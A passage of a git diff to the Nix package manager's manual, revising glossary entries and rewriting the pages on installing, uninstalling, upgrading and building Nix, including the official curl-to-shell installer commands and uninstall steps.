derivation]{#gloss-impure-derivation} + + [An experimental feature](#@docroot@/development/experimental-features.md#xp-feature-impure-derivations) that allows derivations to be explicitly marked as impure, + so that they are always rebuilt, and their outputs not reused by subsequent calls to realise them. + +- [Nix database]{#gloss-nix-database} + + An SQlite database to track [reference]s between [store object]s. + This is an implementation detail of the [local store]. + + Default location: `/nix/var/nix/db`. + + [Nix database]: #gloss-nix-database + +- [Nix expression]{#gloss-nix-expression} + + 1. Commonly, a high-level description of software packages and compositions thereof. Deploying software using Nix entails writing Nix - expressions for your packages. Nix expressions are translated to - derivations that are stored in the Nix store. These derivations can - then be built. + expressions for your packages. Nix expressions specify [derivations][derivation], + which are [instantiated][instantiate] into the Nix store as [store derivations][store derivation]. + These derivations can then be [realised][realise] to produce [outputs][output]. - - [reference]{#gloss-reference}\ - A store path `P` is said to have a reference to a store path `Q` if - the store object at `P` contains the path `Q` somewhere. The - *references* of a store path are the set of store paths to which it - has a reference. + 2. A syntactically valid use of the [Nix language]. For example, the contents of a `.nix` file form an expression. - A derivation can reference other derivations and sources (but not - output paths), whereas an output path only references other output - paths. +- [reference]{#gloss-reference} - - [reachable]{#gloss-reachable}\ - A store path `Q` is reachable from another store path `P` if `Q` - is in the *closure* of the *references* relation. + A [store object] `O` is said to have a *reference* to a store object `P` if a [store path] to `P` appears in the contents of `O`. - - [closure]{#gloss-closure}\ - The closure of a store path is the set of store paths that are - directly or indirectly “reachable” from that store path; that is, - it’s the closure of the path under the *references* relation. For - a package, the closure of its derivation is equivalent to the - build-time dependencies, while the closure of its output path is - equivalent to its runtime dependencies. For correct deployment it - is necessary to deploy whole closures, since otherwise at runtime - files could be missing. The command `nix-store -qR` prints out - closures of store paths. + Store objects can refer to both other store objects and themselves. + References from a store object to itself are called *self-references*. + References other than a self-reference must not form a cycle. - As an example, if the store object at path `P` contains a reference - to path `Q`, then `Q` is in the closure of `P`. Further, if `Q` - references `R` then `R` is also in the closure of `P`. + [reference]: #gloss-reference - - [output path]{#gloss-output-path}\ - A store path produced by a derivation. +- [reachable]{#gloss-reachable} - - [deriver]{#gloss-deriver}\ - The deriver of an *output path* is the store - derivation that built it. + A store path `Q` is reachable from another store path `P` if `Q` + is in the *closure* of the *references* relation. - - [validity]{#gloss-validity}\ - A store path is considered *valid* if it exists in the file system, - is listed in the Nix database as being valid, and if all paths in - its closure are also valid. +- [closure]{#gloss-closure} - - [user environment]{#gloss-user-env}\ - An automatically generated store object that consists of a set of - symlinks to “active” applications, i.e., other store paths. These - are generated automatically by - [`nix-env`](./command-ref/nix-env.md). See *profiles*. + The closure of a store path is the set of store paths that are + directly or indirectly “reachable” from that store path; that is, + it’s the closure of the path under the *references* relation. For + a package, the closure of its derivation is equivalent to the + build-time dependencies, while the closure of its output path is + equivalent to its runtime dependencies. For correct deployment it + is necessary to deploy whole closures, since otherwise at runtime + files could be missing. The command `nix-store --query --requisites ` prints out + closures of store paths. - - [profile]{#gloss-profile}\ - A symlink to the current *user environment* of a user, e.g., - `/nix/var/nix/profiles/default`. + As an example, if the [store object] at path `P` contains a [reference] + to a store object at path `Q`, then `Q` is in the closure of `P`. Further, if `Q` + references `R` then `R` is also in the closure of `P`. - - [NAR]{#gloss-nar}\ - A *N*ix *AR*chive. This is a serialisation of a path in the Nix - store. It can contain regular files, directories and symbolic - links. NARs are generated and unpacked using `nix-store --dump` - and `nix-store --restore`. + [closure]: #gloss-closure - - [`∅`]{#gloss-emtpy-set}\ - The empty set symbol. In the context of profile history, this denotes a package is not present in a particular version of the profile. +- [output]{#gloss-output} - - [`ε`]{#gloss-epsilon}\ - The epsilon symbol. In the context of a package, this means the version is empty. More precisely, the derivation does not have a version attribute. + A [store object] produced by a [derivation]. + See [the `outputs` argument to the `derivation` function](@docroot@/language/derivations.md#attr-outputs) for details. + + [output]: #gloss-output + +- [output path]{#gloss-output-path} + + The [store path] to the [output] of a [derivation]. + + [output path]: #gloss-output-path + +- [output closure]{#gloss-output-closure}\ + The [closure] of an [output path]. It only contains what is [reachable] from the output. + +- [deriving path]{#gloss-deriving-path} + + Deriving paths are a way to refer to [store objects][store object] that ar not yet [realised][realise]. + This is necessary because, in general and particularly for [content-addressed derivations][content-addressed derivation], the [output path] of an [output] is not known in advance. + There are two forms: + + - *constant*: just a [store path] + It can be made [valid][validity] by copying it into the store: from the evaluator, command line interface or another store. + + - *output*: a pair of a [store path] to a [derivation] and an [output] name. + +- [deriver]{#gloss-deriver} + + The [store derivation] that produced an [output path]. + + The deriver for an output path can be queried with the `--deriver` option to + [`nix-store --query`](@docroot@/command-ref/nix-store/query.md). + +- [validity]{#gloss-validity} + + A store path is valid if all [store object]s in its [closure] can be read from the [store]. + + For a [local store], this means: + - The store path leads to an existing [store object] in that [store]. + - The store path is listed in the [Nix database] as being valid. + - All paths in the store path's [closure] are valid. + + [validity]: #gloss-validity + [local store]: @docroot@/store/types/local-store.md + +- [user environment]{#gloss-user-env} + + An automatically generated store object that consists of a set of + symlinks to “active” applications, i.e., other store paths. These + are generated automatically by + [`nix-env`](./command-ref/nix-env.md). See *profiles*. + +- [profile]{#gloss-profile} + + A symlink to the current *user environment* of a user, e.g., + `/nix/var/nix/profiles/default`. + +- [installable]{#gloss-installable} + + Something that can be realised in the Nix store. + + See [installables](./command-ref/new-cli/nix.md#installables) for [`nix` commands](./command-ref/new-cli/nix.md) (experimental) for details. + +- [Nix Archive (NAR)]{#gloss-nar} + + A *N*ix *AR*chive. This is a serialisation of a path in the Nix + store. It can contain regular files, directories and symbolic + links. NARs are generated and unpacked using `nix-store --dump` + and `nix-store --restore`. + + See [Nix Archive](store/file-system-object/content-address.html#serial-nix-archive) for details. + +- [`∅`]{#gloss-emtpy-set} + + The empty set symbol. In the context of profile history, this denotes a package is not present in a particular version of the profile. + +- [`ε`]{#gloss-epsilon} + + The epsilon symbol. In the context of a package, this means the version is empty. More precisely, the derivation does not have a version attribute. + +- [package]{#package} + + 1. A software package; a collection of files and other data. + + 2. A [package attribute set]. + +- [package attribute set]{#package-attribute-set} + + An [attribute set](@docroot@/language/types.md#attribute-set) containing the attribute `type = "derivation";` (derivation for historical reasons), as well as other attributes, such as + - attributes that refer to the files of a [package], typically in the form of [derivation outputs](#output), + - attributes that declare something about how the package is supposed to be installed or used, + - other metadata or arbitrary attributes. + + [package attribute set]: #package-attribute-set + +- [string interpolation]{#gloss-string-interpolation} + + Expanding expressions enclosed in `${ }` within a [string], [path], or [attribute name]. + + See [String interpolation](./language/string-interpolation.md) for details. + + [string]: ./language/types.md#type-string + [path]: ./language/types.md#type-path + [attribute name]: ./language/types.md#attribute-set + +- [base directory]{#gloss-base-directory} + + The location from which relative paths are resolved. + + - For expressions in a file, the base directory is the directory containing that file. + This is analogous to the directory of a [base URL](https://datatracker.ietf.org/doc/html/rfc1808#section-3.3). + + + + - For expressions written in command line arguments with [`--expr`](@docroot@/command-ref/opt-common.html#opt-expr), the base directory is the current working directory. + + [base directory]: #gloss-base-directory + +- [experimental feature]{#gloss-experimental-feature} + + Not yet stabilized functionality guarded by named experimental feature flags. + These flags are enabled or disabled with the [`experimental-features`](./command-ref/conf-file.html#conf-experimental-features) setting. + + See the contribution guide on the [purpose and lifecycle of experimental feaures](@docroot@/development/experimental-features.md). + + +[Nix language]: ./language/index.md diff --git a/doc/manual/src/installation/building-source.md b/doc/manual/src/installation/building-source.md index ed1efffd8..d35cc18c2 100644 --- a/doc/manual/src/installation/building-source.md +++ b/doc/manual/src/installation/building-source.md @@ -1,31 +1,26 @@ # Building Nix from Source -After cloning Nix's Git repository, issue the following commands: +Nix is built with [Meson](https://mesonbuild.com/). +It is broken up into multiple Meson packages, which are optionally combined in a single project using Meson's [subprojects](https://mesonbuild.com/Subprojects.html) feature. -```console -$ ./bootstrap.sh -$ ./configure options... -$ make -$ make install -``` +There are no mandatory extra steps to the building process: +generic Meson installation instructions like [this](https://mesonbuild.com/Quick-guide.html#using-meson-as-a-distro-packager) should work. -Nix requires GNU Make so you may need to invoke `gmake` instead. - -The installation path can be specified by passing the `--prefix=prefix` +The installation path can be specified by passing the `-Dprefix=prefix` to `configure`. The default installation directory is `/usr/local`. You can change this to any location you like. You must have write permission to the *prefix* path. Nix keeps its *store* (the place where packages are stored) in `/nix/store` by default. This can be changed using -`--with-store-dir=path`. +`-Dstore-dir=path`. > **Warning** -> +> > It is best *not* to change the Nix store from its default, since doing > so makes it impossible to use pre-built binaries from the standard > Nixpkgs channels — that is, all packages will need to be built from > source. Nix keeps state (such as its database and log files) in `/nix/var` by -default. This can be changed using `--localstatedir=path`. +default. This can be changed using `-Dlocalstatedir=path`. diff --git a/doc/manual/src/installation/env-variables.md b/doc/manual/src/installation/env-variables.md index bb35c0e9f..035090421 100644 --- a/doc/manual/src/installation/env-variables.md +++ b/doc/manual/src/installation/env-variables.md @@ -27,7 +27,7 @@ Set the environment variable and install Nix ```console $ export NIX_SSL_CERT_FILE=/etc/ssl/my-certificate-bundle.crt -$ sh <(curl -L https://nixos.org/nix/install) +$ curl -L https://nixos.org/nix/install | sh ``` In the shell profile and rc files (for example, `/etc/bashrc`, @@ -38,25 +38,23 @@ export NIX_SSL_CERT_FILE=/etc/ssl/my-certificate-bundle.crt ``` > **Note** -> +> > You must not add the export and then do the install, as the Nix > installer will detect the presence of Nix configuration, and abort. -## `NIX_SSL_CERT_FILE` with macOS and the Nix daemon +If you use the Nix daemon, you should also add the following to +`/etc/nix/nix.conf`: -On macOS you must specify the environment variable for the Nix daemon -service, then restart it: - -```console -$ sudo launchctl setenv NIX_SSL_CERT_FILE /etc/ssl/my-certificate-bundle.crt -$ sudo launchctl kickstart -k system/org.nixos.nix-daemon +``` +ssl-cert-file = /etc/ssl/my-certificate-bundle.crt ``` ## Proxy Environment Variables The Nix installer has special handling for these proxy-related environment variables: `http_proxy`, `https_proxy`, `ftp_proxy`, -`no_proxy`, `HTTP_PROXY`, `HTTPS_PROXY`, `FTP_PROXY`, `NO_PROXY`. +`all_proxy`, `no_proxy`, `HTTP_PROXY`, `HTTPS_PROXY`, `FTP_PROXY`, +`ALL_PROXY`, `NO_PROXY`. If any of these variables are set when running the Nix installer, then the installer will create an override file at diff --git a/doc/manual/src/installation/index.md b/doc/manual/src/installation/index.md new file mode 100644 index 000000000..dafdeb667 --- /dev/null +++ b/doc/manual/src/installation/index.md @@ -0,0 +1,38 @@ +# Installation + +This section describes how to install and configure Nix for first-time use. + +The current recommended option on Linux and MacOS is [multi-user](#multi-user). + +## Multi-user + +This installation offers better sharing, improved isolation, and more security +over a single user installation. + +This option requires either: + +* Linux running systemd, with SELinux disabled +* MacOS + +```console +$ bash <(curl -L https://nixos.org/nix/install) --daemon +``` + +## Single-user + +> Single-user is not supported on Mac. + +This installation has less requirements than the multi-user install, however it +cannot offer equivalent sharing, isolation, or security. + +This option is suitable for systems without systemd. + +```console +$ bash <(curl -L https://nixos.org/nix/install) --no-daemon +``` + +## Distributions + +The Nix community maintains installers for several distributions. + +They can be found in the [`nix-community/nix-installers`](https://github.com/nix-community/nix-installers) repository. diff --git a/doc/manual/src/installation/installation.md b/doc/manual/src/installation/installation.md deleted file mode 100644 index b40c5b95f..000000000 --- a/doc/manual/src/installation/installation.md +++ /dev/null @@ -1,2 +0,0 @@ -This section describes how to install and configure Nix for first-time -use. diff --git a/doc/manual/src/installation/installing-binary.md b/doc/manual/src/installation/installing-binary.md index a9378681d..6a168ff3d 100644 --- a/doc/manual/src/installation/installing-binary.md +++ b/doc/manual/src/installation/installing-binary.md @@ -1,241 +1,111 @@ # Installing a Binary Distribution -The easiest way to install Nix is to run the following command: +To install the latest version Nix, run the following command: ```console -$ sh <(curl -L https://nixos.org/nix/install) +$ curl -L https://nixos.org/nix/install | sh ``` -This will run the installer interactively (causing it to explain what -it is doing more explicitly), and perform the default "type" of install -for your platform: -- single-user on Linux -- multi-user on macOS +This performs the default type of installation for your platform: - > **Notes on read-only filesystem root in macOS 10.15 Catalina +** - > - > - It took some time to support this cleanly. You may see posts, - > examples, and tutorials using obsolete workarounds. - > - Supporting it cleanly made macOS installs too complex to qualify - > as single-user, so this type is no longer supported on macOS. +- [Multi-user](#multi-user-installation): + - Linux with systemd and without SELinux + - macOS +- [Single-user](#single-user-installation): + - Linux without systemd + - Linux with SELinux -We recommend the multi-user install if it supports your platform and -you can authenticate with `sudo`. +We recommend the multi-user installation if it supports your platform and you can authenticate with `sudo`. + +The installer can configured with various command line arguments and environment variables. +To show available command line flags: + +```console +$ curl -L https://nixos.org/nix/install | sh -s -- --help +``` + +To check what it does and how it can be customised further, [download and edit the second-stage installation script](#installing-from-a-binary-tarball). + +# Installing a pinned Nix version from a URL + +Version-specific installation URLs for all Nix versions since 1.11.16 can be found at [releases.nixos.org](https://releases.nixos.org/?prefix=nix/). +The directory for each version contains the corresponding SHA-256 hash. + +All installation scripts are invoked the same way: + +```console +$ export VERSION=2.19.2 +$ curl -L https://releases.nixos.org/nix/nix-$VERSION/install | sh +``` + +# Multi User Installation + +The multi-user Nix installation creates system users and a system service for the Nix daemon. + +Supported systems: + +- Linux running systemd, with SELinux disabled +- macOS + +To explicitly instruct the installer to perform a multi-user installation on your system: + +```console +$ bash <(curl -L https://nixos.org/nix/install) --daemon +``` + +You can run this under your usual user account or `root`. +The script will invoke `sudo` as needed. # Single User Installation To explicitly select a single-user installation on your system: ```console -$ sh <(curl -L https://nixos.org/nix/install) --no-daemon +$ bash <(curl -L https://nixos.org/nix/install) --no-daemon ``` -This will perform a single-user installation of Nix, meaning that `/nix` -is owned by the invoking user. You can run this under your usual user -account or root. The script will invoke `sudo` to create `/nix` -if it doesn’t already exist. If you don’t have `sudo`, you should -manually create `/nix` first as root, e.g.: +In a single-user installation, `/nix` is owned by the invoking user. +The script will invoke `sudo` to create `/nix` if it doesn’t already exist. +If you don’t have `sudo`, manually create `/nix` as `root`: ```console -$ mkdir /nix -$ chown alice /nix +$ su root +# mkdir /nix +# chown alice /nix ``` -The install script will modify the first writable file from amongst -`.bash_profile`, `.bash_login` and `.profile` to source -`~/.nix-profile/etc/profile.d/nix.sh`. You can set the -`NIX_INSTALLER_NO_MODIFY_PROFILE` environment variable before executing -the install script to disable this behaviour. +# Installing from a binary tarball -You can uninstall Nix simply by running: +You can also download a binary tarball that contains Nix and all its dependencies: +- Choose a [version](https://releases.nixos.org/?prefix=nix/) and [system type](../development/building.md#platforms) +- Download and unpack the tarball +- Run the installer -```console -$ rm -rf /nix -``` - -# Multi User Installation - -The multi-user Nix installation creates system users, and a system -service for the Nix daemon. - -**Supported Systems** -- Linux running systemd, with SELinux disabled -- macOS - -You can instruct the installer to perform a multi-user installation on -your system: - -```console -$ sh <(curl -L https://nixos.org/nix/install) --daemon -``` - -The multi-user installation of Nix will create build users between the -user IDs 30001 and 30032, and a group with the group ID 30000. You -can run this under your usual user account or root. The script -will invoke `sudo` as needed. - -> **Note** +> **Example** > -> If you need Nix to use a different group ID or user ID set, you will -> have to download the tarball manually and [edit the install -> script](#installing-from-a-binary-tarball). +> ```console +> $ pushd $(mktemp -d) +> $ export VERSION=2.19.2 +> $ export SYSTEM=x86_64-linux +> $ curl -LO https://releases.nixos.org/nix/nix-$VERSION/nix-$VERSION-$SYSTEM.tar.xz +> $ tar xfj nix-$VERSION-$SYSTEM.tar.xz +> $ cd nix-$VERSION-$SYSTEM +> $ ./install +> $ popd +> ``` -The installer will modify `/etc/bashrc`, and `/etc/zshrc` if they exist. -The installer will first back up these files with a `.backup-before-nix` -extension. The installer will also create `/etc/profile.d/nix.sh`. +The installer can be customised with the environment variables declared in the file named `install-multi-user`. -## Uninstalling +## Native packages for Linux distributions -### Linux - -If you are on Linux with systemd: - -1. Remove the Nix daemon service: - - ```console - sudo systemctl stop nix-daemon.service - sudo systemctl disable nix-daemon.socket nix-daemon.service - sudo systemctl daemon-reload - ``` - -1. Remove systemd service files: - - ```console - sudo rm /etc/systemd/system/nix-daemon.service /etc/systemd/system/nix-daemon.socket - ``` - -1. The installer script uses systemd-tmpfiles to create the socket directory. - You may also want to remove the configuration for that: - - ```console - sudo rm /etc/tmpfiles.d/nix-daemon.conf - ``` - -Remove files created by Nix: - -```console -sudo rm -rf /nix /etc/nix /etc/profile/nix.sh ~root/.nix-profile ~root/.nix-defexpr ~root/.nix-channels ~/.nix-profile ~/.nix-defexpr ~/.nix-channels -``` - -Remove build users and their group: - -```console -for i in $(seq 30001 30032); do - sudo userdel $i -done -sudo groupdel 30000 -``` - -There may also be references to Nix in - -- `/etc/profile` -- `/etc/bashrc` -- `/etc/zshrc` - -which you may remove. - -### macOS - -1. Edit `/etc/zshrc` and `/etc/bashrc` to remove the lines sourcing - `nix-daemon.sh`, which should look like this: - - ```bash - # Nix - if [ -e '/nix/var/nix/profiles/default/etc/profile.d/nix-daemon.sh' ]; then - . '/nix/var/nix/profiles/default/etc/profile.d/nix-daemon.sh' - fi - # End Nix - ``` - - If these files haven't been altered since installing Nix you can simply put - the backups back in place: - - ```console - sudo mv /etc/zshrc.backup-before-nix /etc/zshrc - sudo mv /etc/bashrc.backup-before-nix /etc/bashrc - ``` - - This will stop shells from sourcing the file and bringing everything you - installed using Nix in scope. - -2. Stop and remove the Nix daemon services: - - ```console - sudo launchctl unload /Library/LaunchDaemons/org.nixos.nix-daemon.plist - sudo rm /Library/LaunchDaemons/org.nixos.nix-daemon.plist - sudo launchctl unload /Library/LaunchDaemons/org.nixos.darwin-store.plist - sudo rm /Library/LaunchDaemons/org.nixos.darwin-store.plist - ``` - - This stops the Nix daemon and prevents it from being started next time you - boot the system. - -3. Remove the `nixbld` group and the `_nixbuildN` users: - - ```console - sudo dscl . -delete /Groups/nixbld - for u in $(sudo dscl . -list /Users | grep _nixbld); do sudo dscl . -delete /Users/$u; done - ``` - - This will remove all the build users that no longer serve a purpose. - -4. Edit fstab using `sudo vifs` to remove the line mounting the Nix Store - volume on `/nix`, which looks like - `UUID= /nix apfs rw,noauto,nobrowse,suid,owners` or - `LABEL=Nix\040Store /nix apfs rw,nobrowse`. This will prevent automatic - mounting of the Nix Store volume. - -5. Edit `/etc/synthetic.conf` to remove the `nix` line. If this is the only - line in the file you can remove it entirely, `sudo rm /etc/synthetic.conf`. - This will prevent the creation of the empty `/nix` directory to provide a - mountpoint for the Nix Store volume. - -6. Remove the files Nix added to your system: - - ```console - sudo rm -rf /etc/nix /var/root/.nix-profile /var/root/.nix-defexpr /var/root/.nix-channels ~/.nix-profile ~/.nix-defexpr ~/.nix-channels - ``` - - This gets rid of any data Nix may have created except for the store which is - removed next. - -7. Remove the Nix Store volume: - - ```console - sudo diskutil apfs deleteVolume /nix - ``` - - This will remove the Nix Store volume and everything that was added to the - store. - - If the output indicates that the command couldn't remove the volume, you should - make sure you don't have an _unmounted_ Nix Store volume. Look for a - "Nix Store" volume in the output of the following command: - - ```console - diskutil list - ``` - - If you _do_ see a "Nix Store" volume, delete it by re-running the diskutil - deleteVolume command, but replace `/nix` with the store volume's `diskXsY` - identifier. - -> **Note** -> -> After you complete the steps here, you will still have an empty `/nix` -> directory. This is an expected sign of a successful uninstall. The empty -> `/nix` directory will disappear the next time you reboot. -> -> You do not have to reboot to finish uninstalling Nix. The uninstall is -> complete. macOS (Catalina+) directly controls root directories and its -> read-only root will prevent you from manually deleting the empty `/nix` -> mountpoint. +The Nix community maintains installers for some Linux distributions in their native packaging format(https://nix-community.github.io/nix-installers/). # macOS Installation -[]{#sect-macos-installation-change-store-prefix}[]{#sect-macos-installation-encrypted-volume}[]{#sect-macos-installation-symlink}[]{#sect-macos-installation-recommended-notes} - -We believe we have ironed out how to cleanly support the read-only root + +[]{#sect-macos-installation-change-store-prefix}[]{#sect-macos-installation-encrypted-volume}[]{#sect-macos-installation-symlink}[]{#sect-macos-installation-recommended-notes} + +We believe we have ironed out how to cleanly support the read-only root file system on modern macOS. New installs will do this automatically. This section previously detailed the situation, options, and trade-offs, @@ -278,36 +148,3 @@ this to run the installer, but it may help if you run into trouble: boot process to avoid problems loading or restoring any programs that need access to your Nix store -# Installing a pinned Nix version from a URL - -NixOS.org hosts version-specific installation URLs for all Nix versions -since 1.11.16, at `https://releases.nixos.org/nix/nix-version/install`. - -These install scripts can be used the same as the main NixOS.org -installation script: - -```console -$ sh <(curl -L https://nixos.org/nix/install) -``` - -In the same directory of the install script are sha256 sums, and gpg -signature files. - -# Installing from a binary tarball - -You can also download a binary tarball that contains Nix and all its -dependencies. (This is what the install script at - does automatically.) You should unpack -it somewhere (e.g. in `/tmp`), and then run the script named `install` -inside the binary tarball: - -```console -$ cd /tmp -$ tar xfj nix-1.8-x86_64-darwin.tar.bz2 -$ cd nix-1.8-x86_64-darwin -$ ./install -``` - -If you need to edit the multi-user installation script to use different -group ID or a different user ID range, modify the variables set in the -file named `install-multi-user`. diff --git a/doc/manual/src/installation/installing-docker.md b/doc/manual/src/installation/installing-docker.md index 9d6d8f2d9..6f77d6a57 100644 --- a/doc/manual/src/installation/installing-docker.md +++ b/doc/manual/src/installation/installing-docker.md @@ -3,14 +3,14 @@ To run the latest stable release of Nix with Docker run the following command: ```console -$ docker run -ti nixos/nix -Unable to find image 'nixos/nix:latest' locally -latest: Pulling from nixos/nix +$ docker run -ti ghcr.io/nixos/nix +Unable to find image 'ghcr.io/nixos/nix:latest' locally +latest: Pulling from ghcr.io/nixos/nix 5843afab3874: Pull complete b52bf13f109c: Pull complete 1e2415612aa3: Pull complete Digest: sha256:27f6e7f60227e959ee7ece361f75d4844a40e1cc6878b6868fe30140420031ff -Status: Downloaded newer image for nixos/nix:latest +Status: Downloaded newer image for ghcr.io/nixos/nix:latest 35ca4ada6e96:/# nix --version nix (Nix) 2.3.12 35ca4ada6e96:/# exit diff --git a/doc/manual/src/installation/prerequisites-source.md b/doc/manual/src/installation/prerequisites-source.md index 6f4eb3008..c346a0a4b 100644 --- a/doc/manual/src/installation/prerequisites-source.md +++ b/doc/manual/src/installation/prerequisites-source.md @@ -10,7 +10,7 @@ - Bash Shell. The `./configure` script relies on bashisms, so Bash is required. - - A version of GCC or Clang that supports C++17. + - A version of GCC or Clang that supports C++20. - `pkg-config` to locate dependencies. If your distribution does not provide it, you can get it from @@ -32,8 +32,10 @@ your distribution does not provide it, please install it from . - - The [Boehm garbage collector](http://www.hboehm.info/gc/) to reduce - the evaluator’s memory consumption (optional). To enable it, install + - The [Boehm garbage collector (`bdw-gc`)](http://www.hboehm.info/gc/) to reduce + the evaluator’s memory consumption (optional). + + To enable it, install `pkgconfig` and the Boehm garbage collector, and pass the flag `--enable-gc` to `configure`. @@ -71,3 +73,8 @@ . This is an optional dependency and can be disabled by providing a `--disable-cpuid` to the `configure` script. + + - Unless `./configure --disable-unit-tests` is specified, GoogleTest (GTest) and + RapidCheck are required, which are available at + and + respectively. diff --git a/doc/manual/src/installation/uninstall.md b/doc/manual/src/installation/uninstall.md new file mode 100644 index 000000000..590327fea --- /dev/null +++ b/doc/manual/src/installation/uninstall.md @@ -0,0 +1,155 @@ +# Uninstalling Nix + +## Multi User + +Removing a [multi-user installation](./installing-binary.md#multi-user-installation) depends on the operating system. + +### Linux + +If you are on Linux with systemd: + +1. Remove the Nix daemon service: + + ```console + sudo systemctl stop nix-daemon.service + sudo systemctl disable nix-daemon.socket nix-daemon.service + sudo systemctl daemon-reload + ``` + +Remove files created by Nix: + +```console +sudo rm -rf /etc/nix /etc/profile.d/nix.sh /etc/tmpfiles.d/nix-daemon.conf /nix ~root/.nix-channels ~root/.nix-defexpr ~root/.nix-profile +``` + +Remove build users and their group: + +```console +for i in $(seq 1 32); do + sudo userdel nixbld$i +done +sudo groupdel nixbld +``` + +There may also be references to Nix in + +- `/etc/bash.bashrc` +- `/etc/bashrc` +- `/etc/profile` +- `/etc/zsh/zshrc` +- `/etc/zshrc` + +which you may remove. + +### macOS + +1. If system-wide shell initialisation files haven't been altered since installing Nix, use the backups made by the installer: + + ```console + sudo mv /etc/zshrc.backup-before-nix /etc/zshrc + sudo mv /etc/bashrc.backup-before-nix /etc/bashrc + sudo mv /etc/bash.bashrc.backup-before-nix /etc/bash.bashrc + ``` + + Otherwise, edit `/etc/zshrc`, `/etc/bashrc`, and `/etc/bash.bashrc` to remove the lines sourcing `nix-daemon.sh`, which should look like this: + + ```bash + # Nix + if [ -e '/nix/var/nix/profiles/default/etc/profile.d/nix-daemon.sh' ]; then + . '/nix/var/nix/profiles/default/etc/profile.d/nix-daemon.sh' + fi + # End Nix + ``` + +2. Stop and remove the Nix daemon services: + + ```console + sudo launchctl unload /Library/LaunchDaemons/org.nixos.nix-daemon.plist + sudo rm /Library/LaunchDaemons/org.nixos.nix-daemon.plist + sudo launchctl unload /Library/LaunchDaemons/org.nixos.darwin-store.plist + sudo rm /Library/LaunchDaemons/org.nixos.darwin-store.plist + ``` + + This stops the Nix daemon and prevents it from being started next time you boot the system. + +3. Remove the `nixbld` group and the `_nixbuildN` users: + + ```console + sudo dscl . -delete /Groups/nixbld + for u in $(sudo dscl . -list /Users | grep _nixbld); do sudo dscl . -delete /Users/$u; done + ``` + + This will remove all the build users that no longer serve a purpose. + +4. Edit fstab using `sudo vifs` to remove the line mounting the Nix Store volume on `/nix`, which looks like + + ``` + UUID= /nix apfs rw,noauto,nobrowse,suid,owners + ``` + or + + ``` + LABEL=Nix\040Store /nix apfs rw,nobrowse + ``` + + by setting the cursor on the respective line using the error keys, and pressing `dd`, and then `:wq` to save the file. + + This will prevent automatic mounting of the Nix Store volume. + +5. Edit `/etc/synthetic.conf` to remove the `nix` line. + If this is the only line in the file you can remove it entirely: + + ```bash + if [ -f /etc/synthetic.conf ]; then + if [ "$(cat /etc/synthetic.conf)" = "nix" ]; then + sudo rm /etc/synthetic.conf + else + sudo vi /etc/synthetic.conf + fi + fi + ``` + + This will prevent the creation of the empty `/nix` directory. + +6. Remove the files Nix added to your system, except for the store: + + ```console + sudo rm -rf /etc/nix /var/root/.nix-profile /var/root/.nix-defexpr /var/root/.nix-channels ~/.nix-profile ~/.nix-defexpr ~/.nix-channels + ``` + + +7. Remove the Nix Store volume: + + ```console + sudo diskutil apfs deleteVolume /nix + ``` + + This will remove the Nix Store volume and everything that was added to the store. + + If the output indicates that the command couldn't remove the volume, you should make sure you don't have an _unmounted_ Nix Store volume. + Look for a "Nix Store" volume in the output of the following command: + + ```console + diskutil list + ``` + + If you _do_ find a "Nix Store" volume, delete it by running `diskutil deleteVolume` with the store volume's `diskXsY` identifier. + +> **Note** +> +> After you complete the steps here, you will still have an empty `/nix` directory. +> This is an expected sign of a successful uninstall. +> The empty `/nix` directory will disappear the next time you reboot. +> +> You do not have to reboot to finish uninstalling Nix. +> The uninstall is complete. +> macOS (Catalina+) directly controls root directories, and its read-only root will prevent you from manually deleting the empty `/nix` mountpoint. + +## Single User + +To remove a [single-user installation](./installing-binary.md#single-user-installation) of Nix, run: + +```console +$ rm -rf /nix ~/.nix-channels ~/.nix-defexpr ~/.nix-profile +``` +You might also want to manually remove references to Nix from your `~/.profile`. diff --git a/doc/manual/src/installation/upgrading.md b/doc/manual/src/installation/upgrading.md index 24efc4681..a433f1d30 100644 --- a/doc/manual/src/installation/upgrading.md +++ b/doc/manual/src/installation/upgrading.md @@ -1,14 +1,40 @@ # Upgrading Nix -Multi-user Nix users on macOS can upgrade Nix by running: `sudo -i sh -c -'nix-channel --update && -nix-env -iA nixpkgs.nix && -launchctl remove org.nixos.nix-daemon && -launchctl load /Library/LaunchDaemons/org.nixos.nix-daemon.plist'` +> **Note** +> +> These upgrade instructions apply where Nix was installed following the [installation instructions in this manual](./index.md). -Single-user installations of Nix should run this: `nix-channel --update; -nix-env -iA nixpkgs.nix nixpkgs.cacert` +Check which Nix version will be installed, for example from one of the [release channels](http://channels.nixos.org/) such as `nixpkgs-unstable`: -Multi-user Nix users on Linux should run this with sudo: `nix-channel ---update; nix-env -iA nixpkgs.nix nixpkgs.cacert; systemctl -daemon-reload; systemctl restart nix-daemon` +```console +$ nix-shell -p nix -I nixpkgs=channel:nixpkgs-unstable --run "nix --version" +nix (Nix) 2.18.1 +``` + +> **Warning** +> +> Writing to the [local store](@docroot@/store/types/local-store.md) with a newer version of Nix, for example by building derivations with [`nix-build`](@docroot@/command-ref/nix-build.md) or [`nix-store --realise`](@docroot@/command-ref/nix-store/realise.md), may change the database schema! +> Reverting to an older version of Nix may therefore require purging the store database before it can be used. + +## Linux multi-user + +```console +$ sudo su +# nix-env --install --file '' --attr nix cacert -I nixpkgs=channel:nixpkgs-unstable +# systemctl daemon-reload +# systemctl restart nix-daemon +``` + +## macOS multi-user + +```console +$ sudo nix-env --install --file '' --attr nix cacert -I nixpkgs=channel:nixpkgs-unstable +$ sudo launchctl remove org.nixos.nix-daemon +$ sudo launchctl load /Library/LaunchDaemons/org.nixos.nix-daemon.plist +``` + +## Single-user all platforms + +```console +$ nix-env --install --file '' --attr nix cacert -I nixpkgs=channel:nixpkgs-unstable +``` diff --git a/doc/manual/src/introduction.md b/doc/manual/src/introduction.md index b54346db8..76489bc1b 100644 --- a/doc/manual/src/introduction.md +++ b/doc/manual/src/introduction.md @@ -76,7 +76,7 @@ there after an upgrade. This means that you can _roll back_ to the old version: ```console -$ nix-env --upgrade -A nixpkgs.some-package +$ nix-env --upgrade --attr nixpkgs.some-package $ nix-env --rollback ``` @@ -122,7 +122,7 @@ Nix expressions generally describe how to build a package from source, so an installation action like ```console -$ nix-env --install -A nixpkgs.firefox +$ nix-env --install --attr nixpkgs.firefox ``` _could_ cause quite a bit of build activity, as not only Firefox but @@ -158,7 +158,7 @@ Pan newsreader, as described by [its Nix expression](https://github.com/NixOS/nixpkgs/blob/master/pkgs/applications/networking/newsreaders/pan/default.nix): ```console -$ nix-shell '' -A pan +$ nix-shell '' --attr pan ``` You’re then dropped into a shell 